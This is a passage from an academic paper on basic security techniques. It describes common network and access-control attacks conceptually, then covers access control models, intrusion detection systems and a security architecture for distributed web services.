3.3. Fragment Overlapping If two IP fragments overlap, the second one overwrites the first one (RFC 791). The attack consists of dividing an IP packet into two fragments. The IP filter accepts the first one holding 68 bytes (see Tiny Fragments) since it does not request a TCP connection (SYN flag = 0 and ACK flag = 0). Again, this rule applies to the other fragments of the packet. The second one (with a Fragment Offset = 1) holding the real connection data is then accepted by the IP filter because it does not see that a connection is opened here. Thus, when defragmenting, the data of the second fragment overwrites the data of the first one, starting after the 8th byte (since the fragment offset = 1). The reassembled packet is then a valid connection request for the target machine. The connection is established despite the IP filter in between.
134
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
Figure 5. Fragment 1
Figure 6. Fragment 2
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
135
Figure 7. Defragmented packet
3.4. IP Spoofing In this kind of attack, the attacker forges IP packets using programs such as hping2 or nemsis; after modifying the IP source address. It will recover the answers by two methods: • The routing source: the hacker shows the way, for the returned packets, to the control’s router; thanks to an option which authorizes the specification of the path that the packages will have to borrow • The re-routing: the hacker sends these proper RIP packets in order to modify the routers routing tables. The packets will take the path desired by the hacker. 3.5. TCP Session Hijacking This attack redirects a TCP flow. The hacker succeeds then to go through a password protection (e.g. telnet or ftp). This type of attack is limited to the physical network of the target, given the need for a passive listening (sniffing). 3.6. ARP Spoofing In this attack, called also ARP Redirect, the hacker redirects the network traffic of one or more machines towards his machine. It is carried out on the physical network of the victims. The victim machine cache asking for the resolution of another machine address; will receive an answer from the hacker indicating that its machine corresponds well at this IP address. All the traffic bound for the victim machine will be run out towards the hacker.
136
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
3.7. DNS Spoofing This attack consists in forwarding false answers to DNS requests emitted by a victim. Two principal methods are possible to carry out this attack. •
DNS ID Spoofing: A false answer is returned to the DNS request before the DNS server answers. The hacker must guess the query ID (ID: field identification which makes it possible to make the correspondence between the answers and the query). Locally, it is easy to guess it by sniffing the network. Nevertheless, to guess it for a remote network is more complicated.
•
DNS Cache Poisoning: This method consists in corrupting the DNS server cache with false information.
3.8. Brute force attacks These are fairly unsophisticated attacks that can be effective. The purpose of such an attack is to attempt every possible combination of characters to satisfy Type 1 authentication. Often called password guessing, a program submits many login attempts, each with a slightly different password. The hope is that the program will hit on the correct password before anyone notices that an attack is underway. One variation of the brute force attack is war dialing, in which a program dials a large group of telephone numbers and listens for a modem to answer. When the war dialing program finds a modem, the number is logged for later probing and attacks. These attacks are called brute force attacks because they attempt a very large number of possibilities to find the password or access number. The best defense is a good defense. A great way to protect your system from a brute force attack is to run one yourself. It is a good idea to run a password cracking or war dialing program against your system periodically. Make sure you have written permission to execute the attack first. You could find that you are violating your security policy as you try to protect it. Once is not enough. Any time a user gets tired of a password or finds that getting access to the Internet is too hard; you will start seeing easily cracked passwords and unauthorized modems showing up. Run your brute force attacks periodically to find users who are taking shortcuts. In addition to running your own attacks, set your monitoring system clipping levels to warn you when unusual activity occurs. It is also a good idea to set aggressive lockout levels so accounts are locked after a certain number of login failures. As frustrating as this is to honest users who have forgotten passwords, it provides a great defense against brute force attacks. 3.9. Dictionary Attack This is actually a subset of a brute force attack. Instead of trying all password combinations, a dictionary attack attempts to satisfy a password prompt by trying commonly used passwords from a list, or dictionary. Many lists of commonly used user IDs and passwords
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
137
exist and are easy to find. Although they make great input sources for dictionary attacks, they also provide examples of user IDs and passwords to avoid. In fact, one of the best deterrents to a dictionary attack is a strong password policy. A password policy tells users how to construct passwords and what types of passwords to avoid. You can avoid having nearly all of your passwords appear in a password dictionary by creating and enforcing a strong password policy. Once passwords are in place, run dictionary attacks periodically. These attacks are not as intensive as brute force attacks and give you a good idea about who is abiding by your password policy. You can also avoid password disclosure by never sending passwords as clear text. Avoid using http or telnet for that reason. When you need to send a password to a Web application, use another protocol, such as http-s. 3.10. Spoofing Attack Another interesting type of access control attack is login spoofing. An attacker can place a fake login program that prompts a user for a user ID and password. It probably looks just like the normal login screen, so the user likely provides the requested information. Instead of logging the user into the requested system, the bogus program stores or forwards the stolen credentials, then returns a notice that the login has failed. The user is then directed to the real login screen. The beauty of the approach is that few of us would ever think of a spoofing attack if we were presented with a failed login screen. Most of us would chalk it up to a typo. The best defense against this type of attack is to create trusted paths between users and servers when it is possible. Attempt to minimize the opportunities for attackers to step in between users and servers. In environments where security is extremely important, users should carefully examine all failed login attempts and ensure the failure is properly recorded and reported. If, after being alerted your login has failed, you find that the system thinks the last login failure happened last week, you may have been spoofed. Security awareness goes a long way in preventing and detecting these types of attacks.
4. Access Control Methodologies This section presents various methods and techniques for controlling users’ access to system resources. Different approaches to help ensure that only authorized users can access secured resources are discussed. This section also covers the basics of access control, general methods and techniques used to manage resources access, and some common attacks that are launched against access control systems [10-11-12]. 4.1. Access Control basics Access control is a collection of methods and components used to protect information assets. Although some information are and should be accessible by everyone, you will most likely need to restrict access to other information.
138
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
Access control supports both the confidentiality and the integrity properties of a secure system. The confidentiality property protects information from unauthorized disclosure. You use access control to ensure that only authorized users can view information. The integrity property protects information from unauthorized modification. Access control gives you the ability to dictate what information a user can both view and modify. [13-14] Before you can implement an access control policy, you must first develop a plan. Here are a few questions you need to answer: • How do I separate restricted information from unrestricted information? • What methods should I use to identify users who request access to restricted information? • What is the best way to permit only users I authorize to access restricted information? • Where do I start? 4.2. Subjects and Objects Access control is all about, well, controlling access. First, let’s define a few terms. The entity that requests access to a resource is called the subject of the access. A subject is an active entity because it initiates the access request. The resource a subject attempts to access is called the object of the access. The object of an access is the passive part of the access because the subject takes action on the object. So, the goal of a sound access control policy is to allow only authorized subjects to access objects they are permitted to access. It is possible to be an authorized subject but not have access to a specific object. 4.3. Least Privilege Organizations use several general philosophies to design access control rules. The least secure philosophy (read this as “most dangerous”) is to give everyone access to all objects by default. Then, you restrict access to only the objects you define as being sensitive. It is simple; simple to implement and simple to compromise. The main problem with this philosophy is that you must be absolutely sure you restrict all sensitive objects. This is harder than it sounds. A little sloppy administration can leave large security holes. Another philosophy, which exists at the opposite end of the spectrum, is much safer and more secure. The philosophy of least privilege states that a subject should be granted only the permissions necessary to accomplish required tasks and nothing more. This approach often requires more administrative maintenance, but it provides more security than more permissive strategies. Least privilege helps to avoid authorization creep, which is a condition in which a subject gets access to more objects than was originally intended. The most common causes of authorization creep are ineffective maintenance and poor security philosophy choices [15].
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
139
4.4. Controls Once you decide on the most appropriate access control philosophy for your organization, you can begin to choose the best way to allow subjects to access objects. The mechanisms you put into place to allow or disallow object accesses are called controls. A control is any potential barrier that protects your information from unauthorized access [16-17-18]. Controls safeguard your information from threats. There are many types of controls, often organized into several categories. Table 1. Lists several common control categories. 4.5. Common Control Categories
Table 1. Common Control Categories. Control
Category Description
Example
Administrative
Policies and procedures designed to enforce security rules.
Hiring practices. Usage monitoring and accounting. Security awareness training.
Logical (also called technical Object access restrictions implemented controls) through the use of software or hardware.
User identification and authentication. Encryption. Segregated network architecture.
Physical
Fences. Walls. Locked doors.
Physical access to hardware limited.
5. Access Control Methodology
You should choose the access control technique that best fits your organization to provide the highest degree of security. Different techniques provide varying levels of security, depending on what the organization needs. In addition to the level of security each technique provides, carefully consider the impact to your users. A grand security scheme will fail if it is so difficult to work with that users commonly try to circumvent it. Consider the techniques covered in the following section, “Access Control Designs,” and how each technique could be used in a specific environment. Consider the environmental impact of each technique. Adopt stringent strategies only when absolutely necessary. Remember, a security strategy that is so strict as to encourage users to search for loopholes actually degrades security instead of increasing it. Each of the following techniques differs in the way objects and subjects are identified, and how decisions are made to approve or deny an access request. First, we look at several
140
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
models of access control and some of the characteristics of each model. Then we consider and compare several common implementations. 5.1. Access Control Designs An access control design defines rules for users accessing files or devices. We refer to a user, or any entity, that requests access as a subject. Each subject requests access to an entity called an object. An object can be any entity that contains data or resources a subject requests to complete a task. Objects can be files, printers, or other hardware or software entities. The access control type in use for a particular request has the responsibility of evaluating a subject’s request to access a particular object and returning a meaningful response. 5.2. Access Control Administration Once an organization chooses an access control design, the next step is to decide on the method of access control administration. Access control administration can be implemented in both centralized and decentralized modes. It is not uncommon to find hybrid environments where both approaches are used. The best choice of administration style depends on the needs of the organization and the sensitivity of information stored on the affected computer systems. Centralized access control administration requires that all access requests go through a central authority that grants or denies the request. This approach simplifies administration because objects must be maintained only in a single location. One drawback is that the central access control unit is a single point of failure. If the centralized access control unit fails, no access can be granted to objects, so all objects are effectively unavailable. In addition, the central point of access control can have a negative effect on performance if the system is unable to keep up with all access requests. You can choose from several common packages to implement centralized access control administration. 5.3. Remote Authentication Dial-In User Service (RADIUS) It provides centralized access control for dial-in users. Users are validated against the user list on the RADIUS server. You can configure the server to hang up and then call the valid user back at a predefined telephone number. Another example of centralized access control for dial-in users is Challenge Handshake Authentication Protocol (CHAP). CHAP presents a challenge when a user requests access. If the user responds to the challenge properly, the access request is granted. CHAP enhances overall security by using encryption during the message exchanges. Centralized access control for networked applications can use, Terminal Access Controller Access Control System (TACACS): TACACS provides general centralized authentication and authorization services. Extended TACACS (XTACACS) extends TACACS by separating the authentication, authorization, and accounting processes, and TACACS+ adds two-factor authentication.
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
141
5.4. Decentralized Access Control Decentralized access control places the responsibility of access control administration closer to the object in question. This approach requires more administration than centralized access control because an object may need to be secured at several locations. It can, however, be more stable because no single point of failure or single point of access exists. Decentralized access control is most often implemented through the use of security domains. A security domain is a sphere of trust, or a collection of subjects and objects, with defined access rules or permissions. A subject must be included in the domain to be trusted. This approach makes it fairly easy to exclude an untrusted subject, but makes general administration more difficult due to the fine granularity of security rules [19]. 5.5. Access Control Models Access control models are very useful when deciding what controls are necessary to support your security policy. An access control model provides a conceptual view of your security policy. It allows you to map goals and directives of your security policy to specific system events. This mapping process allows for the formal definition and specification of required security controls. In short, access control models make it possible to decompose complex policies into a series of manageable steps. Many different models have been developed over the years. We look at some of the more important models and discuss some of their unique characteristics in the following sections. Most sound security policy implementations employ a combination of the following access control models. 5.6. File and Data Ownership Files and data may contain important and valuable information. This important information should be the focus of your security efforts. But who is responsible for ensuring the security of your organization’s information? This question is answered by assigning different layers of responsibility to each piece of important information. Each file, or data element, should have at least three different responsible parties assigned. The three layers of responsibility represent different requirements and actions for each group. The most common layers are data owner, data custodian, and data user. Each layer has specific expectations to support the organization’s security policy. 5.6.1. Data Owner The data owner accepts the ultimate responsibility for the protection of the data. The data owner is generally a member of upper management and acts as the representative of the organization in this duty. It is the owner who sets the classification level of the data and delegates the day-to-day responsibility of maintenance to the data custodian. If a security violation occurs, it is the data owner who bears the brunt of any negligence issues.
142
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
5.6.2. Data Custodian The data owner assigns the data custodian to enforce security policies according to the data classification set by the data owner. The custodian is often a member of the IT department and follows specific procedures to secure and protect assigned data. This includes implementing and maintaining appropriate controls, taking backups, and validating the integrity of the data. 5.6.3. Data User Finally, the users of data are the ones who access the data on a day-to-day basis. They are charged with the responsibility of following the security policy as they access data. You would expect to see more formal procedures that address important data, and users are held accountable for their use of data and adherence to these procedures. In addition to a commitment to follow security procedures, users must be aware of how important security procedures are to the health of their organization. All too often, users use shortcuts to bypass weak security controls because they lack an understanding of the importance of the controls. An organization’s security staff must continually keep data users aware of the need for security, as well as the specific security policy and procedures.
6. Intrusion detection systems The expression ‘intrusion detection’ means multitude of things for much of people. However, by preoccupations with a clarification, one will define it as "the action which consists in detecting a user or a hostile intruder who tries an unauthorized access" or "the detection of any illicit use of a data-processing entity". This illicit use could be started by a person or a program. The intrusion detection aims to detect any safety policy violation on an information processing system. It thus permit to announce the attacks (in real or remote time) bearing reached to the safety of this system. By safety of the system, we mean the integrity, the confidentiality and the availability of the system and the data (see section I). By attack, we do not consider only intrusions or intrusion attempts but also other actions such as scanning, deny of service, and unauthorized use of systems/services. To implement this concept a specific tools are necessary: IDS or intrusion detection systems. They collect automatically the data representing the system activity: (servers, applications, systems, networks), analyze them and inform the administrators when detecting a signs of attacks. IDS are much more passive in comparison with other safety systems, they can observe events, and possibly conclude that an intrusion attempt occurs. These systems acts as an “alarm”; a comparison with an anti-theft alarm - or camera placed in a room hall, which detects movements or doors openings; is presented in figure 3. The guard here plays the role of Firewall.
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
143
The big difficulty of these tools is the ability to differentiate the normal events from the abnormal events (intrusions). Indeed, this distinction is often far from being obvious to realize. The possibilities of intrusions being unlimited, a whole series of orientations were born.
Figure 8. Illustration showing the analogy between a camera and IDS
6.1 Host Intrusion Detection Systems These tools are installed on a precise machine, in a manner to analyze, in a detailed way the actions carried out by this one. Usually, they are designed for a specific operating system. The majority of these systems have components which analyze system records and supervise connections and users' processes. More elaborate ones integrate the capacity to intercept the deployments of Trojan horse’s codes. These tools are powerful, but their main disadvantage is that they do not bring any global safety vision on the network level. A tool to be classified under this category is for example LIDS (Linux Intrusion System Detection). 6.2. NIDS (Network Intrusion Detection Systems) They watch the network traffic and detect possible intrusion attempts. Compared to the HIDS, they have a much more global vision of the intrusions and their evolution on the network. In their current form, the NIDS are analysis engines of raw packages. They analyze the network traffic and compare it with a set of models or signatures of known attacks.
6.3. Hybrids IDS Hybrids IDS gather the different characteristics of several IDS. In practice, we can find the combination of NIDS and HIDS. They allow to supervise the network and the terminals
144
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
using only one tool. The probes are placed in strategic points, and act like NIDS and/or HIDS according to their location [22-23-24]. These probes reassemble then the alarms in one centralized machine (Figure 9).
Figure 9. Representation of the various IDS sites in a network.
6.4. IDS based anomaly These systems are a bit more obscure and one often regards them as a concept than a real model. Their principle consists in understanding users and traffic network behaviors, and discovering the deviations of these behaviors. For example, a user who normally connects Monday to Friday but which is suddenly connected at 3 pm Saturday will be classified as a potential problem by an anomaly IDS. In theory IDS based on an anomaly is able to detect something abnormal without knowing exactly the source of the problem.
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
145
6.5. Strength points of this protection method It is so easy to set up a network. Technologies like Ethernet for local area networks are now stable, but we want to control what occurs in our networks. How to know if the firewall rules are valid? How to know the attacks number undergone during the last week? How to differentiate between a network normal overload and a Deny of Service attack? IDS can give an answer to these questions. They act as probes in a transparent mode, analyzing the traffic in the same collision field, and detecting the attacks; of course, we are describing here the operation of the NIDS, the HIDS on the other hand will establish a single monitoring of the system on which they are installed. Moreover, all alarms are stored either in a file, or in a database, allowing building a history and establishing links between various attacks. Thus, the security administrator does not need to supervise permanently the system (network) to know what occurs on. IDS allow giving some information about the attack: The supposed type of attack, its source, its destination... this allows a good comprehension of the security threat, and in some times, to detect it quickly. 6.6. Internal attacks Detection It is completely false to believe that Firewalls recognize the attacks and block them. In fact, a Firewall is simply a barrier around our network, with quite selected doors. This barrier cannot detect if someone is trying to pass inside. It limits simply the access to the indicated points. Firewall filters the traffic in a precise point; it cannot control the traffic within the network. The NIDS, on the other hand, can detect external as internal attacks. Reference gives some famous Websites attacks which could not be detected by Firewalls. 6.7. Configuration error’s detection The NIDS can also check the correct function of Firewall. If the NIDS detect traffic which should normally be blocked by the Firewall, we have obviously a proof that we have a configuration problem. It is thus interesting to configure our NIDS so as to duplicate the filtering carried out by Firewall. 6.8. Firewall reaction possibilities improvement If the NIDS supports Firewall parameter setting (for example the addition of rules), it may improve the protection offered by this one. The detection of a complex attack will permit to add a temporary rule to block the traffic coming from the source of this attack. We can conclude that it is necessary to have in parallel these two devices, and not to try to replace one by another.
146
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
7. Distributed system security specification Security in large-scale distributed systems differs from operating system security by the fact that there is no central, trusted authority that mediates interaction between users and processes. Instead, a distributed system usually runs on top of a large number of loosely coupled autonomous hosts. Those hosts may run different operating systems, and may have different security policies, which can be enforced in different ways by careless or even malicious administrators [20-21-22]. So, the traditional access control models and intrusion detections system cannot effectively manage authorization for independent and geographically dispersed information. This drives the research interest in more flexible and efficient access control approaches, in particular role-based access control. In the dynamic world in which the operating system, securing transactions, data, and infrastructure components is much more complicated. Successful security architecture combines a heterogeneous combination of policies and leading practices, technology, and a sound education and awareness program. The recipe for pulling these components together to meet the standards set forth in the policies is the security architecture. For most systems, the security architecture must provide a framework for integrating existing products and tools to meet current needs, as well as accommodate migration paths and anticipate future business directions. In this section, we propose an access control model that is suitable for a distributed heterogeneous system. Our model has two features: authentication with object properties and method categorization by a security level. The object property is Meta information of a client, and the client is vested with it in advance. To use the object properties, a server can identify a huge number of clients in the environment by groups that are categorized with the object properties of the clients. And also, to use a combination of multiple object properties in authentication, an administrator of the server can determine the flexible range of target clients. The security level shows how much impact the method affects server's data. If a designer of the server categorizes the server's methods with a security level, an administrator of the server can set an authorization rule to each category instead of each server's method. The categories constitute a tree structure, since a parent category includes child categories. As a result of this, the administrator can set an authorization rule easier than authorization without categorization by the security level. 7.1. Security Challenges in Distributed systems The security challenges facing distributed systems can be grouped into three categories: •
integration solutions where existing services need to be used, and interfaces should be abstracted to provide an extensible architecture;
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
• •
147
interoperability solutions so that services hosted in different Virtual Organizations (VO) that have different security mechanisms and policies will be able to invoke each other; and Solutions to define, manage and enforce trust policies within a dynamic distributed system.
A solution within a given category will often depend on a solution in another category. For example, any solution for federating credentials to achieve interoperability will be dependent on the trust models defined within the participating domains and the level of integration of the services within a domain. Defining a trust model is the basis for interoperability but trust model is independent of interoperability characteristics. Similarly level of integration implies a level of trust as well as a bearing on interoperability. In distributed systems, where identities are organized in VOs that transcend normal organizational boundaries, security threats are not easily divided by such boundaries. Identities may act as members of the same VO at one moment and as members of different VOs the next, depending on the tasks they perform at a given time. Thus, while the security threats to system fall into the usual categories (snooping, man-in-the-middle, intrusion, denial of service, theft of service, viruses and Trojan horses, etc.) the malicious entity could be anyone. An additional risk is introduced, when multiple VOs share a virtualized resource (such as a server or storage system) where each of participating VOs may not trust each other and therefore, may not be able to validate the usage and integrity of the shared resource. Security solutions that focus on establishing a perimeter to protect a trusted “inside” from an untrusted “outside” are of only limited utility in the distributed systems. The number, size, and scalability of security components such as user registries, policy repositories, and authorization servers pose new challenges. This is especially true in the area of inter-domain operations where the number of domains explodes. Many crossdomain functions that may be statically pre-defined in other environments will require dynamic configuration and processing in a distributed system[23-24]. 7.1.1. The Integration Challenge For both technical and pragmatic reasons, it is unreasonable to expect that a single security technology can be defined that will both address all distributed system security challenges and be adopted in every hosting environment. Existing security infrastructures cannot be replaced overnight. For example, each domain in a distributed system is likely to have one or more registries in which user accounts are maintained; such authentication mechanisms deployed in an existing environment that is reputed secure and reliable will continue to be used. Each domain typically has its own authorization infrastructure that is deployed, managed and supported. It will not typically be acceptable to replace any of these technologies in favor of a single model or mechanism. Thus, to be successful, distributed system security architecture needs to step up to the challenge of integrating with existing security architectures and models across platforms and hosting environments. This means that the architecture must be
148
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
implementation agnostic, so that it can be instantiated in terms of any existing security mechanisms (e.g., Kerberos); extensible, so that it can incorporate new security services as they become available; and integratable with existing security services. 7.1.2. The Interoperability Challenge Services that traverse multiple domains and hosting environments need to be able to interact with each other, thus introducing the need for interoperability at multiple levels:
• •
•
At the protocol level, we require mechanisms that allow domains to exchange messages. This can be achieved via SOAP/HTTP, for example. At the policy level, secure interoperability requires that each party be able to specify any policy it may wish in order to engage in a secure conversation and that policies expressed by different parties can be made mutually comprehensible. Only then can the parties attempt to establish a secure communication channel and security context upon mutual authentication, trust relationship, and adherence to each other’s policy. At the identity level, we require mechanisms for identifying a user from one domain in another domain. This requirement goes beyond the need to define trust relationships and achieve federation between security mechanisms. Irrespective of the authentication and authorization model, which can be group-based, role-based or other attribute based, many models rely on the notion of an identity for reasons including authorization and accountability. It would be nice if a given identity could be (pre)defined across all participating domains, but that is not realistic in practice.
7.2. Distributed system security Requirements We now proceed to translate the preceding general discussion of the security problem into specific distributed system security requirements. Coordinated use of diverse resources in dynamic, distributed systems: in other words, to enable the creation, from distributed components, of virtual computing systems that are sufficiently integrated to deliver desired qualities of service. The basic distributed system security requirements are that security mechanisms be pluggable and discoverable by a service requestor from a service description. This functionality then allows a service provider to choose from multiple distributed security architectures supported by multiple different vendors and to plug its preferred one(s) into the infrastructure supporting its distributed system services [25-26-27]. The basic distributed system security requirements model must address the following security disciplines: • Authentication. Provide plug points for multiple authentication mechanisms and the means for conveying the specific mechanism used in any given authentication operation. The authentication mechanism may be a custom authentication
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
•
•
•
•
•
•
•
•
•
149
mechanism or an industry-standard technology. The authentication plug point must be agnostic to any specific authentication technology. Delegation. Provide facilities to allow for delegation of access rights from requestors to services, as well as to allow for delegation policies to be specified. When dealing with delegation of authority from an entity to another, care should be taken so that the authority transferred through delegation is scoped only to the task(s) intended to be performed and within a limited lifetime to minimize the misuse of delegated authority. Single Logon. Relieve an entity having successfully completed the act of authentication once from the need to participate in re-authentications upon subsequent accesses to managed remote resources for some reasonable period of time. This must take into account that a request may span security domains and hence should factor in federation between authentication domains and mapping of identities. Credential Lifespan and Renewal. In many scenarios, a job initiated by a user may take longer than the life span of the user’s initially delegated credential. In those cases, the user needs the ability to be notified prior to expiration of the credentials, or the ability to refresh those credentials such that the job can be completed. Authorization. Allow for controlling access to remote services based on authorization policies (i.e., who can access a service, under what conditions) attached to each service. Also allow for service requestors to specify invocation policies (i.e. who does the client trust to provide the requested service). Authorization should accommodate various access control models and implementation. Privacy. Allow both a service requester and a service provider to define and enforce privacy policies, for instance taking into account things like personally identifiable information (PII), purpose of invocation, etc. (Privacy policies may be treated as an aspect of authorization policy addressing privacy semantics such as information usage rather than plain information access.) Confidentiality. Protect the confidentiality of the underlying communication (transport) mechanism, and the confidentiality of the messages or documents that flow over the transport mechanism. The confidentiality requirement includes point–to–point transport as well as store-and forward mechanisms. Message integrity. Ensure that unauthorized changes made to messages or documents may be detected by the recipient. The use of message or document level integrity checking is determined by policy, which is tied to the offered quality of the service (QoS). Policy exchange. Allow service requestors and providers to exchange dynamically security (among other) policy information to establish a negotiated security context between them. Such policy information can contain authentication requirements, supported functionality, constraints, privacy rules etc. Secure logging. Provide all services, including security services themselves, with facilities for time-stamping and securely logging any kind of operational information or event in the course of time - securely meaning here reliably and
150
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
•
•
accurately, i.e. so that such collection is neither interruptible nor alterable by adverse agents. Secure logging is the foundation for addressing requirements for notarization, non-repudiation, and auditing. Assurance. Provide means to qualify the security assurance level that can be expected of a hosting environment. This can be used to express the protection characteristics of the environment such as virus protection, for example, firewall usage for Internet access. Such information can be taken into account when making a decision about which environment to deploy a service in. Firewall traversal. Firewalls provide limited value within a dynamic distributed system. However, it is also the case that firewalls are unlikely to disappear anytime soon. Thus, the security model must take them into account and provide mechanisms for cleanly traversing them without compromising local control of firewall policy [28-29-30].
7.3. Distributed system Security Model Industry efforts have rallied around Web services (WS) as an emerging architecture that has the ability to deliver integrated, interoperable solutions. Ensuring the integrity, confidentiality and security of Web services through the application of a comprehensive security model is critical, both for organizations and their customers – which is the fundamental starting point for constructing virtual organizations. The secure interoperability between virtual organizations demands interoperable solutions using heterogeneous systems. For instance, the secure messaging model proposed by the Web services security roadmap document supports both public key infrastructure (PKI) and Kerberos mechanisms as particular embodiments of a more-general facility and can be extended to support additional security mechanisms [31-32-33]. The security of a distributed system must take into account the security of various aspects involved in a distributed system service invocation. A Web service can be accessed over a variety of protocols and message formats it supports, as defined by its bindings. Given that bindings deal with protocol and message formats, they should provide support for QoS, including such security functions as confidentiality, integrity, and authentication. Each participating end point can express the policy it wishes to see applied when engaging in a secure conversation with another end point. Policies can specify supported authentication mechanisms, required integrity and confidentiality, trust policies, privacy policies, and other security constraints. Given the dynamic nature of distributed system service invocations, end points will often discover the policies of a target service and establish trust relationships with it dynamically. Once a service requestor and a service provider have determined each other’s policies, they can establish a secure channel over which subsequent operations can be invoked. Such a channel should enforce various qualities of service including identification, confidentiality, and integrity. The security model must provide a mechanism by which authentication credentials from the service requestor’s domain can be translated into the service provider’s domain and vice versa. This translation is required in order for both ends
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
151
to evaluate their mutual access policies based on the established credentials and the quality of the established channel.
7.4. Binding Security The set of bindings to be considered includes SOAP (SOAP/HTTP, SOAP over a message queue or SOAP over any other protocol) and IIOP bindings. The security of a binding is based on the security characteristics of the associated protocol and message format. If new protocols or message formats are introduced, care should be taken to address security requirements in those bindings so that, at a minimum, suitable authentication, integrity, and confidentiality can be achieved. HTTP is an important protocol to consider because of its transparency to firewalls and wide adoption. In the case of bindings over HTTP, requests can be sent over SSL (i.e., https) and thus SSL can provide authentication, integrity and confidentiality. However SSL ensures these QoS only among participating SSL connection end points. If a request needs to traverse multiple intermediaries (firewalls, proxies, etc), then end-to-end security needs to be enforced at a layer above the SSL protocol [34]. In the case of SOAP messages, security information can be carried in the SOAP message itself in the form of security tokens defined in the proposed WS-Security specification. SOAP messages can also be integrity and confidentiality protected using XML Digital Signature and XML Encryption support respectively. Signature and encryption bindings defined in WS-Security can be used for this purpose. Web services can be accessed over IIOP when the service implementation is based on CORBA. In the case of IIOP, the security of the message exchange can be achieved by using the Common Secure Interoperability specification, version 2 (CSIv2). This specification is also adopted in J2EE. In addition to, binding-level security requirements, network security solutions (e.g., firewalls, IPSec, VPN, DNSSEC, etc.) remain useful components for securing a distributed system. Firewalls can continue to enforce boundary access rules between domains and other network level security solutions can continue to be deployed in intra-domain environments. Distributed system services deployment can take the topology into consideration when defining security policies. At the same time, deployment assumptions may be surfaced as policies attached to firewalls and network architecture. The distributed system security model must be able to leverage security capabilities of any of these underlying protocols or message formats. For example, in the case of SOAP over HTTP requests, one can use WS-Security for end-to-end security functionality, HTTPs for point-to-point security, and SSL, TLS or IPSec for other purposes. Security requirements for a given Web service access will be specified and honored based on the set of policies associated with the participating end points. For example, a policy associated with a Web service can specify that it expects SOAP messages to be signed and encrypted. Thus, service requestors accessing that service would be required to use WS-Security to secure their SOAP requests. Addressing the security of the service bindings will address the
152
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
requirements related to integrity and confidentiality of messages, achieving delegation facilities, and facilitating firewall traversal.
7.5 Policy Expression and Exchange Web Services have certain requirements that must be met in order to interact with them. For example, a service may support specific message encoding formats or may require specific security credentials to perform a specific action. A hosting environment has access to policies associated with a hosted web service so that it can enforce the invocation requirements when the service is accessed. It is important for service requestors to know about the policies associated with a target service. Once the service requestor knows the requirements and supported capabilities of a target service, it can evaluate the capabilities and mechanisms that the service provider supports. At the end of the evaluation, both the service requestor and the service provider together select the optimal set of bindings to converse with one another. Note that the ability to acquire this knowledge is a privilege given by the hosting environment’s policy. In a dynamic environment like the distributed system, it is important for service requestors to discover these policies dynamically and make decisions at runtime. Such policies can be associated with the service definition (e.g., WSDL), service data (i.e. part of distributed system service specification), or exchanged between service requestor and service provider (e.g., service provider can return a fault that contains information about the policy, or through some negotiation). It should be noted that discovering and reacting to policies can be part of the bindings themselves. For example, in the case of IIOP bindings, service requirements and capabilities are defined as part of the service reference (IOR) as a security tagged component. In addition to service provider policies that need to be exposed to a service requester (or similarly service requestor policies to the service provider), there may be other policies that a service requestor or a service provider’s environment needs to know but not necessarily expose in order to ensure a secure environment. For example, a service provider may have a set of authorization policies that indicate authorized requestors and this policy need not be (most likely will not be) exposed to service requestors. Similarly, service requestors may have policies specifying the identity of service provider’s hosting environments it may trust [35]. Distributed system service policies will need to be specified and defined based on a standard policy language. In the case of distributed system services, these policies can be exchanged in a variety of ways including but not limited to, SOAP messages, service data (part of distributed system service), part of bindings (e.g., CORBA security tagged component) or by using a policy discovery service. The proposed WS-Policy specification provides a framework to express policies and a mechanism to attach the policies to service definitions i.e., WSDL. It describes how both service providers and service requestors can specify their requirements and capabilities. WS-Policy is fully extensible and does not place limits on the types of requirements and capabilities that may be described; the specification provides an approach to identify several basic service attributes including privacy attributes, encoding formats, security token requirements, and supported algorithms.
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
153
Exchange policy between participating end points, securing the OGSI infrastructure and play a critical part to achieve secure association between the end points. The bindings and exchange layers discussed so far allow service requestor and service provider to discover one another’s policy. The next layer of the model deals with the nature and enforcement of these policies: secure association between service end points, mapping of identities and translation of credentials across domain boundaries between them, authorization policies and privacy policies, which together form the basis for enforcing control of access to protected services.
8. Conclusions In this paper we have presented different external system attacks, access method control, and information system and a dynamic distributed system based security architecture. Security policies allow defining, fine-grained (per method) access control, and does not rely on any centralized authority that would limit the scalability of the system on the web. Furthermore, they deal with general security services and allow specific application features to be built on top of these services. The architecture specification makes use of well-proven security techniques to address a range of security issues; some of them are common to mediation systems. The fact that distributed system services can be dynamically replicated and simultaneously run on multiple hosts introduces a series of new security problems such as reverse access control for object replicas and protection of distributed objects against malicious hosts running instances of their code. These issues have not been extensively addressed in previous work, and form the major contribution of the research described in this paper.
References [1] [2] [3] [4] [5] [6] [7]
[8]
